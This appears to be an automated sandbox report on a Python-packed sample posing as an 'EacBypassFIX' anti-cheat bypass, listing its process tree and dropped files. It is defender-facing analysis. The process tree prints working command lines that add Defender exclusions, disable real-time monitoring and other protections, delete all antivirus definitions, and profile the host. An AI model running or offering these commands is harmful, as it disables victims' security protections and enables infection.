Analysis

  • max time kernel
    149s
  • max time network
    127s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 23:40

General

  • Target
    EacBypassFIX.exe
  • Size 22.5MB
  • Sample260930-3nv35as18p
  • SHA256 c10f40596238b48054fc5746c98810fe9fc26de2ac56528dddc3820edc479d08
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 37 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Detects Pyinstaller 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\EacBypassFIX.exe
    "C:\Users\Admin\AppData\Local\Temp\EacBypassFIX.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1564
    • C:\Users\Admin\AppData\Local\Temp\EacBypassFlX.exe
      "C:\Users\Admin\AppData\Local\Temp\EacBypassFlX.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3512
      • C:\Users\Admin\AppData\Local\Temp\EacBypassFlX.exe
        "C:\Users\Admin\AppData\Local\Temp\EacBypassFlX.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious use of WriteProcessMemory
        PID:4828
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\EacBypassFlX.exe'"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2632
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\EacBypassFlX.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Enumerates connected drives
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4916
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4676
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Disables one or more Microsoft Defender components
            • Enumerates connected drives
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3740
          • C:\Program Files\Windows Defender\MpCmdRun.exe
            "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
            5⤵
            • Deletes Windows Defender Definitions
            PID:5748
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4944
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            5⤵
            • Discovers running processes
            • Suspicious use of AdjustPrivilegeToken
            PID:3356
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3624
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            5⤵
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3756
    • C:\Users\Admin\AppData\Local\Temp\alladbypass.exe
      "C:\Users\Admin\AppData\Local\Temp\alladbypass.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1424
      • C:\Users\Admin\AppData\Local\Temp\alladbypass.exe
        "C:\Users\Admin\AppData\Local\Temp\alladbypass.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious use of WriteProcessMemory
        PID:1616
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "ver"
          4⤵
          • Executes a command shell one-liner
          PID:1196

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        EacBypassFlX.exe

        • Path C:\Users\Admin\AppData\Local\Temp\EacBypassFlX.exe
        • Size 8.7MB
        • SHA256 52eca1a58ba4916772e1262beaea2b8bb788fbed0d3a4a5ff001bf55c3a89d00
        • MD5 SHA1 SHA512 SSDEEP TLSH

        VCRUNTIME140.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI14242\VCRUNTIME140.dll
        • Size 117KB
        • SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
        • MD5 SHA1 SHA512 SSDEEP TLSH

        VCRUNTIME140_1.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI14242\VCRUNTIME140_1.dll
        • Size 48KB
        • SHA256 82a2f9ae1e6146ae3cb0f4bc5a62b7227e0384209d9b1aef86bbcc105912f7cd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _bz2.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI14242\_bz2.pyd
        • Size 83KB
        • SHA256 55894b2b98d01f37b9a8cf4daf926d0161ff23c2fb31c56f9dbbac3a61932712
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _ctypes.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI14242\_ctypes.pyd
        • Size 129KB
        • SHA256 5c4c489ac052795c27af063c96bc4db5ab250144d4839050cfa9bb3836b87c32
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _lzma.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI14242\_lzma.pyd
        • Size 155KB
        • SHA256 e44dea262a24df69fd9b50b08d09ae6f8b051137ce0834640c977091a6f9fca8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _queue.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI14242\_queue.pyd
        • Size 34KB
        • SHA256 73cade82ee139459fe5841e5631274fc9caf7f579418b613f278125435653539
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _socket.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI14242\_socket.pyd
        • Size 82KB
        • SHA256 62d0493ced6ca33e2fd8141649dd9889c23b2e9afc5fdf56edb4f888c88fb823
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _wmi.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI14242\_wmi.pyd
        • Size 39KB
        • SHA256 afad80f9e62a57814779cf3e48352b583c1a0697b11a23cc9db3f4e43f7f8664
        • MD5 SHA1 SHA512 SSDEEP TLSH

        base_library.zip

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI14242\base_library.zip
        • Size 1.3MB
        • SHA256 6e30043dfa5faf9c31bd8fb71778e8e0701275b620696d29ad274846676b7175
        • MD5 SHA1 SHA512 SSDEEP TLSH

        pyexpat.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI14242\pyexpat.pyd
        • Size 197KB
        • SHA256 3a4830342ab562e41ab93b4bc2dc45fe0ab760815e7c3ec4a7fddc914ec99982
        • MD5 SHA1 SHA512 SSDEEP TLSH

        python313.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI14242\python313.dll
        • Size 5.8MB
        • SHA256 78b1dd211c0e66a0603df48da2c9b67a915ab3258701b9285d3faa255ed8dc25
        • MD5 SHA1 SHA512 SSDEEP TLSH

        select.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI14242\select.pyd
        • Size 31KB
        • SHA256 81f124b01a85882e362a42e94a13c0eff2f4ccd72d461821dc5457a789554413
        • MD5 SHA1 SHA512 SSDEEP TLSH

        VCRUNTIME140.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI35122\VCRUNTIME140.dll
        • Size 116KB
        • SHA256 4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _bz2.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI35122\_bz2.pyd
        • Size 82KB
        • SHA256 bd8621fcc901fa1de3961d93184f61ea71068c436794af2a4449738ccf949946
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _ctypes.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI35122\_ctypes.pyd
        • Size 122KB
        • SHA256 543ce9d6dc3693362271a2c6e7d7fc07ad75327e0b0322301dd29886467b0b0e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _hashlib.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI35122\_hashlib.pyd
        • Size 64KB
        • SHA256 6c50c9801a5caf0bb52b384f9a0d5a4aa182ca835f293a39e8999cf6edf2f087
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _lzma.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI35122\_lzma.pyd
        • Size 155KB
        • SHA256 22d10e2d6ad3e3ed3c49eb79ab69a81aaa9d16aeca7f948da2fe80877f106c16
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _queue.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI35122\_queue.pyd
        • Size 31KB
        • SHA256 d43dca0e00c3c11329b68177e967cf5240495c4786f5afa76ac4f267c3a5cdb9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _socket.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI35122\_socket.pyd
        • Size 81KB
        • SHA256 24017d664af20ee3b89514539345caac83eca34825fcf066a23e8a4c99f73e6d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _sqlite3.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI35122\_sqlite3.pyd
        • Size 121KB
        • SHA256 f3ca1d6b1ab8bb8d6f35a24fc602165e6995e371226e98ffeeed2eeec253c9df
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _ssl.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI35122\_ssl.pyd
        • Size 173KB
        • SHA256 2b6f1b1ac47cb7878b62e8d6bb587052f86ca8145b05a261e855305b9ca3d36c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        base_library.zip

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI35122\base_library.zip
        • Size 1.3MB
        • SHA256 eeb7f0b3e56b03454868411d5f62f23c1832c27270cee551b9ca7d9d10106b29
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libcrypto-3.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI35122\libcrypto-3.dll
        • Size 4.9MB
        • SHA256 2a234b5aa20c3faecf725bbb54fb33f3d94543f78fa7045408e905593e49960a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libffi-8.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI35122\libffi-8.dll
        • Size 38KB
        • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libssl-3.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI35122\libssl-3.dll
        • Size 771KB
        • SHA256 41ad1a04ca27a7959579e87fbbda87c93099616a64a0e66260c983381c5570d1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        python312.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI35122\python312.dll
        • Size 6.7MB
        • SHA256 0cc4e557972488eb99ea4aeb3d29f3ade974ef3bcd47c211911489a189a0b6f2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        select.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI35122\select.pyd
        • Size 29KB
        • SHA256 74cca85600e7c17ea6532b54842e26d3cae9181287cdf5a4a3c50af4dab785e5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sqlite3.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI35122\sqlite3.dll
        • Size 1.4MB
        • SHA256 17d547994008f1626be2877497912687cb3ebd9a407396804310fd12c85aead4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        unicodedata.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI35122\unicodedata.pyd
        • Size 1.1MB
        • SHA256 2a50d629895a05b10a262acf333e7a4a31db5cb035b70d14d1a4be1c3e27d309
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_i4h3pjrd.52l.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i4h3pjrd.52l.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        alladbypass.exe

        • Path C:\Users\Admin\AppData\Local\Temp\alladbypass.exe
        • Size 13.8MB
        • SHA256 9328aebe639ca45d09837baff8f5b8cdc353ecfe63f4d1b1c89d8d3c982aeda0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1616-1087-0x00007FFF4E730000-0x00007FFF4E759000-memory.dmp

        memory/3740-1079-0x000001A86B760000-0x000001A86B77E000-memory.dmp

        memory/3740-1080-0x000001A86B780000-0x000001A86B832000-memory.dmp

        memory/3740-1083-0x000001A86B840000-0x000001A86B84A000-memory.dmp

        memory/3740-1053-0x000001A86B350000-0x000001A86B372000-memory.dmp